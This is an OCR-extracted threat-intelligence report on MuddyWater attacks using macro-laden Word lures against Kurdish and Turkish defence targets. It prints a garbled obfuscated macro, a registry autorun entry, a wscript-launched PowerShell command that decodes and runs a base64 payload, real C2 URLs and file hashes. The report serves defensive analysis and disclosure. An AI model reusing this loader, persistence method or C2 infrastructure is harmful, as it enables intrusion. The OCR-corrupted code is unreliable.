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In our ongoing investigations of Iranian APTs, we recently detected additional documents related to previously

attack infrastructures used by the Iranian APT — “MuddyWater”, which we reported on in late November 2018.

As a reminder, we identified two domains, that were hacked by the group and used to host the code of
POWERSTATS; a malware associated to the group. For additional information on the attack see item —

“MuddyWater Operations in Lebanon and Oman”.

However, unlike the previous vector, we did not identify this time any compromised servers used to host the
malware’s code. Instead, the lure document already contains the malicious code. We also detected five additional
files that operate in a similar file to the aforementioned document; but unlike that file, these do not have any

content.

We believe (with medium certainty) that this is due to the attackers testing the malicious document to see if it is

detected by various anti-virus engines.

Targets

Most of the targets in this wave of attacks are part of Kurdish groups (such as ” Komala” — a Kurdish-Iranian

party in Iraq), as well as various organizations in Turkey affiliated with the Turkish army and defense sector.

Attack Vector

The initial infection vector is via emails attached with a malicious word document. Below are screen-captures of

the document sent to the Kurdish party:
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Technical Analysis

The file used to target the Kurdish party
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As seen, the lure document contains a blurred image that impersonates an official document of the Kurdistan
Regional Government. The target is then prompted to Enable Editing or Enable Content, supposedly to view the

content. However, this in fact executes an embedded malicious Macro command.
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End Sub

Function woit ()
Set stqg = Application
Set reei = CallByNeme (Stgg, hrgf ("084" € egin ¢ "34124" & egin & "35116129135"),
CallByName roci, hrgf(70871300841271207 & giwa & "357), VhMethod, hrgf (7087
End Function
Function gxew()
Dim stqg, reci ks String
Set jtra = Application
zmxn = CallByNeme (jtra, hrqf ("105120" & gkma & "34124" & lrnj & "28"), wvift)
stogg = hrgf{"102" £ lenj € "21135138116" & glwa ¢ "20111096" & immo & "18" & ghwa & "* € jrwm & "4" £ lrnj & "211351110€
rooi = hrgf(0847 £ kibs £ "18120% § egin & "341050850980867)
Set fscv = sjds(hrgf("1387 € iwmo £ "28128122128135134077142"
CallByName fscv,

wift)

& lrnj & "18136128" & xgdh & "29135051088™

€ immo & "29131120" £ ghwa & "34" & lrn) & "29116135124" ¢
hrgf ("102" & xqdh & "35087106098101087105116127136120"), VbNethod, $HSO00000D1, stqy, rcci, 1
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This Macro is named Gladiator_CRK. The attacker also used this handle for the Author name in the document’s
OLE details:
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When investigating this name, we identified several documents that behave to the above document; however, most
have no content. It is likely that these files were uploaded to VirusTotal with minor changes to test whether they

are detected by the various anti-virus engines.

It should be noted that all of the content-less files were uploaded from Germany, while the malicious lure
document was uploaded from Iraq. This further corroborates our assessment that the content-less files were

uploaded for test purposes.

Similarly to previous attacks by the group, this Macro uses embedded com object that runs Microsoft Excel and
concurrently executes various commands. Post execution, the malicious Macro edits certain Registry values in
order for the malicious code continues operation even after the compromised system is rebooted, thus insuring

persistency.
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Changes the autorun value in the registry
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key: HKEY _CURRENT_USER\Software\}
“Run
name: UpdateService
operation:  write
typeValue: EG_S7
\window
115b7ab}
B1ms

Moreover, in a similar fashion to previous attacks, two files are created within the Temp folder.
These files contain segments of the malicious code used to extract the POWERSTATS malware.

+6281ms Co\windows\temp) picture.jpg
68.4 Kb
MD5: C26DC1DBBTFAQOFS3FAAZOCE2ZETST51

+6281ms Cywindows\temp\icon.ico
66 b

SBAS3BBG2ZF26827BAFF763F23BCID1 545

| WRITE | £ HKEY_CLASSES_ROOT\CLSID\{76979427-3cc6-4b62-be14-2a785115b7ab}\Shell\Manage\command

(Default)

c:\windows\system32\wscript.exe /E:vbs c:\windows\temp\icon.ico "powershell -exec bypass -c ""IEX ([System.Text.E
ncoding] : :ASCII.GetString( [System.Convert]: :FromBase64String( ' JFhYPULFWCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3R1bS5UZXh
BLkVuYycgKyBbY2hhcleéweDZmICsgJ2Rpbmdd0jpBJyArIFtjaGFyXTBANTMgKyAnQ81JLkd1dCcgKyBbY2hhc1BweDUzICsgJ3Ryal5nKFsnICsg
W2NoYXJdMHg1MyArICd5c3R1bS5DJyArIFtjaGFyXTBANmYgKyAnbnZ1cnRd0jpGeicgKyBbY2hhelBweDZmICsgJ21CYXNLINIcgKyBbY2hhclBwe
DMBICsgycgKyBbY2hhclBweDUzIC=gJ3RyaW5SnKChnZ X0 tYycgKyBbY2hhcléweDZmICsgJ2 58ZW58IC TwYXRoICcnYzped21uZCegKyBbY2hhel
BweDZmICsgJ3dzXHR1bXBccGl] dHVyZS5qeGenlyk pKScpKTskOkI9SUVYKCgne3RhenQte2x 17X AgMTA7 JHM9 JFhYOyRkIDBgQCo pOyR2 IDBgMDs
kYyASIDA7d2hpbGUoJGMgLW51ICRzLmx1bmd&aCl7 JHYSKCR2K ] UyKSsolN8 ludDMy XVt jaGFyXSRzliyRjXSBnICsg2NoYXJdMHgzNCAr ICcwKT tp
ZigoKCRjKzEpJTMpIC11cSAWKXt3aGlsZSgkdiAtbmUgMC17JHZ2PSR2ITI 1N tpZigkdnYgl WdBIDApeyRkKz1bY2hhcl1bSW58MzJdJHZ2 FSR2P
VtJbnQzM18oJHYvM]U2KX19JGMrPTEZ T TthYXJyYX1d0jpSZXZ1cnN1KCRKKT tJRVgoWycgKyBbY2hhel8weDUzICsgJ3RyaWSnXTo65icgKyBbY2
hhcléweDZmICsgJ21uKCenJyesJGOpKTs7 JykpOB1FNCgkQkIp* ))) " "

+6281ms

As seen above, the PowerShell uses Windows Script Host (WScript executable) to decode VBE code from the first
image file (icon.ico). This code executes a JavaScript embedded in the second image file (picture.jpg), which is

encoded in base64:

W C:\ Windows' Temp'picture - Copy.vbs - Notepad++ ] 3
File Edit Search View Encoding Language Settings Tools Macro Run Plugns ‘Window 7 %
HHEHEB B MKk e ag| 2 2| OR=IEFOEHL = | BB B

B pctwe pg o ] picture - Copy.vbs £3 I
| 1 -2X:2512 1P, ; [2>>1 [+2X;2512:F. ; [/AROI=,14+VI+VI-0+37) . 673 -</ [T1=B,KA36Y1YUZSE2?B/ [ ,12[ ,ER2>E2>X,061U[0;2-0-25=26) ,~E372//1.XI/PI,

This method is different from previous attacks, in which that malware was downloaded a C2 server. But, in this

attack we did not detect any such request, and the malware were was extracted from the dropper file.

Below is a screen-capture of files with different content.
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In this attack vector we found that after the target enables the execution of the Macro, an encrypted txt file by the
name Win32ApiSyncLog.txt is created. This file contains a base64 encoded Backdoor that downloads the malware
from the following URL 94.23.148[.]194/serverscrpit/clientFroneLine/helloServer].]php.
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KT — o

1 Computer
&, Local Disk (C:)

&

% Win324piSynclog. tet Date madifisd: 471112019 9:07 FM Date created: #/11/2019 9:06 #M
Text Dacument Size! 34,368

f.'ﬂ: ?AIU ¢ O EJ_@JI'_ [ em m

http://94.23.148.194/serverScript/clientFrontline/helloServer.php
http://94.23.148.194/3exrverScript/clientFrontline/getCommand.php
http://94.23,148.194/serverScript/clientFrontline/setCommandResult.php

Furthermore, a Batch file named Win32ApiSync.bat, which contains the script in charge of running the

aforementioned code is created.

PREVIEW

start /MIN schtas

However, unlike the first document, despite the “enable content” prompt, this document does not contain any

malicious Macros.

This may explain way, unlike the other file, no PowerShell were installed on the computer via an Excel process.

From the OLE details it seems that the file was recently edited by an individual named ” Babak Amiri”

When searching for additional files additional by this author we detected several documents, but they too did not

contain any Macros.
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oo T

Macro name:

[Autoopen
Pﬂ

1
[
¥ Macros in: I.ﬂull active templates and documents j ']_
3
Description: bs
H
. o
Cancel I t
1 1 L
File information [
®; Comments @ ITwW & Submissions U Analyses @ Content @ Details O |dentification
5c6148619abb10bb3789dcfb32f759a6 MD5
9732cf3c9e84e952d885653T7dc5988371bbT3fTc SHAA
bef3051bbEe85d94cdcfcde03359b31584bel27e87758483e3b1e65d389483e6 SHA-256
12288:3zwjL9+sC3QFiQuBpKMPkHqD6jv2/wGhSnUdksu:30MsC3QFiQuBpKMPuBkxksu ssdeep
(bytes 733696)2"p 7165 Size
MS Word Document Type
CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Last Saved By: Magic

Babak Amiri, Revision Number: 244, Name of Creating Application: Microsoft Office Word, Total Editing Time: 12:41:00,
Create Time/Date: Sun Feb 17 06:17:00 2019, Last Saved Time/Date: Wed Apr 03 18:51:00 2015, Number of Pages: 3,
Number of Words: 304, Number of Characters: 1739, Security: 0

(Microsoft Word document (54.2% TriD
(Microsoft Word document (old ver.) (32.2%
(Generic OLE2 / Multistream Compound File (13.5%
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